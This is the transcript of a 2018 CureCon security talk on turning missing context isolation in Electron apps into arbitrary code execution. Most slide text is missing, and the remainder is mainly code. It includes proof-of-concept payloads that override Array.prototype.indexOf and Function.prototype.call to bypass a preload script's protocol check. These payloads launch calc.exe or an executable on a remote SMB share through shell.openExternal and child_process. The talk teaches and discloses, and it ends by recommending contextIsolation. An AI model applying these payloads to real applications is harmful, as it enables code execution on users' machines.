Pro Yearly is on sale from $80 to $50! »

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

ベルリンで開催されたCure53のイベント、CureConの資料です。

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

August 18, 2018
Tweet

Transcript

  1. Masato Kinugawa CureCon 08/2018

  2. • • •

  3. • • • •

  4. None
  5. 1

  6. • •

  7. https://electronjs.org/#apps

  8. • • •

  9. main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow();

    //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  10. index.html <!DOCTYPE html> <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1>

    <style> body{ background:url('island.png') } </style> </body> </html>
  11. • • new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });

  12. • • • •

  13. let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } });

    win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html
  14. • • new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') }

    }); main.js
  15. /* preload.js */ typeof require === 'function';//true window.runCalc = function(){

    require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> Node
  16. • • •

  17. new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') }

    });
  18. 2

  19. • • •

  20. • •

  21. https://github.com/electron/i18n/blob/81f707c69562cb91fe7c5a98270827a28b93fd5f/content/ja- JP/docs/tutorial/security.md#3-リモートコンテンツでコンテキストイソレーションを有効にする “

  22. /* Content Script */ window.abc = 123; /* https://example.com */

    alert(window.abc)//undefined Isolated World
  23. /* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//123

    Isolated World
  24. /* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//undefined

    Isolated World
  25. /* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') } } /* index.html

    */ postMessage('runCalc','*') Isolated World
  26. • •

  27. 3

  28. None
  29. None
  30. /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); http(s):
  31. const {shell} = require('electron'); /* */ shell.openExternal('https://example.com/'); /* */ shell.openExternal('mailto:test@example.com');

    /* */ shell.openExternal('file:///C:/windows/system32/calc.exe');
  32. /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false);
  33. <script> Array.prototype.indexOf = function(){ return 1337; } </script>

  34. if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); }

  35. if (1337 !== -1) { shell.openExternal(link.href); }

  36. <script> Array.prototype.indexOf=function(){ return 1337; } </script> <a href="file:///C:/windows/system32/calc.exe">CLICK</a> Click if

    (1337 !== -1) { shell.openExternal(link.href); }
  37. • •

  38. const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");

  39. const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • The Tale

    of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
  40. • • • InsertScript: DLL Hijacking via URL files (Alex

    Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  41. • • •

  42. // Clean cache on quit. process.on('exit', function () { for

    (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib /common/asar.js#L30-L36
  43. EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...]

    var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231
  44. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113
  45. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  46. process.mainModule.require

  47. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  48. <script> Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();// </script>

  49. function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); }
  50. • XSS • • MitM JS contextIsolation RCE

  51. • •

  52. • •

  53. • • /* preload.js */ document.addEventListener('click', (e) => { /*

    }, false);
  54. • • new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload:

    path.join(__dirname,'preload.js') } }); IMPORTANT!
  55. None